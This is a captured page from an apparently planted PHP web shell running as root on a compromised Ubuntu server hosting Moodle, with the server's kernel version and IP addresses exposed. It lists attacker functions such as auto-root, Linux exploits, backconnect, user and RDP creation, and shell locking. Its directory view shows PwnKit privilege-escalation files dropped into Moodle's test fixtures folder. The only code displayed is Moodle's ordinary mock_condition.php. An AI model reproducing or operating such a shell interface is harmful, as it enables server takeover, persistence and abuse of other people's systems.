Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
availability /
tests /
fixtures /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
mock_condition.php
5.03
KB
-rwxrwxrwx
mock_info.php
2.4
KB
-rwxrwxrwx
mock_info_module.php
3.33
KB
-rwxrwxrwx
mock_info_section.php
3.41
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mock_condition.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Mock condition. * * @package core_availability * @copyright 2014 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace availability_mock; defined('MOODLE_INTERNAL') || die(); /** * Mock condition. * * @package core_availability * @copyright 2014 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class condition extends \core_availability\condition { /** @var bool True if available */ protected $available; /** @var string Message if not available */ protected $message; /** @var bool True if available for all (normal state) */ protected $forall; /** @var bool True if available for all (NOT state) */ protected $forallnot; /** @var string Dependency table (empty if none) */ protected $dependtable; /** @var id Dependency id (0 if none) */ protected $dependid; /** @var array Array of user ids for filter results, empty if no filter support */ protected $filter; /** * Constructs a mock condition with given structure. * * @param \stdClass $structure Structure object */ public function __construct($structure) { $this->available = isset($structure->a) ? $structure->a : false; $this->message = isset($structure->m) ? $structure->m : ''; $this->forall = isset($structure->all) ? $structure->all : false; $this->forallnot = isset($structure->allnot) ? $structure->allnot : false; $this->dependtable = isset($structure->table) ? $structure->table : ''; $this->dependid = isset($structure->id) ? $structure->id : 0; $this->filter = isset($structure->filter) ? $structure->filter : array(); } public function save() { return (object)array('a' => $this->available, 'm' => $this->message, 'all' => $this->forall, 'allnot' => $this->forallnot, 'table' => $this->dependtable, 'id' => $this->dependid, 'filter' => $this->filter); } public function is_available($not, \core_availability\info $info, $grabthelot, $userid) { return $not ? !$this->available : $this->available; } public function is_available_for_all($not = false) { return $not ? $this->forallnot : $this->forall; } public function get_description($full, $not, \core_availability\info $info) { $fulltext = $full ? '[FULL]' : ''; $nottext = $not ? '!' : ''; return $nottext . $fulltext . $this->message; } public function get_standalone_description( $full, $not, \core_availability\info $info) { // Override so that we can spot that this function is used. return 'SA: ' . $this->get_description($full, $not, $info); } public function update_dependency_id($table, $oldid, $newid) { if ($table === $this->dependtable && (int)$oldid === (int)$this->dependid) { $this->dependid = $newid; return true; } else { return false; } } protected function get_debug_string() { return ($this->available ? 'y' : 'n') . ',' . $this->message; } public function is_applied_to_user_lists() { return $this->filter; } public function filter_user_list(array $users, $not, \core_availability\info $info, \core_availability\capability_checker $checker) { $result = array(); foreach ($users as $id => $user) { $match = in_array($id, $this->filter); if ($not) { $match = !$match; } if ($match) { $result[$id] = $user; } } return $result; } public function get_user_list_sql($not, \core_availability\info $info, $onlyactive) { global $DB; // The data for this condition is not really stored in the database, // so we return SQL that contains the hard-coded user list. list ($enrolsql, $enrolparams) = get_enrolled_sql($info->get_context(), '', 0, $onlyactive); $condition = $not ? 'NOT' : ''; list ($matchsql, $matchparams) = $DB->get_in_or_equal($this->filter, SQL_PARAMS_NAMED); $sql = "SELECT userids.id FROM ($enrolsql) userids WHERE $condition (userids.id $matchsql)"; return array($sql, array_merge($enrolparams, $matchparams)); } }
Close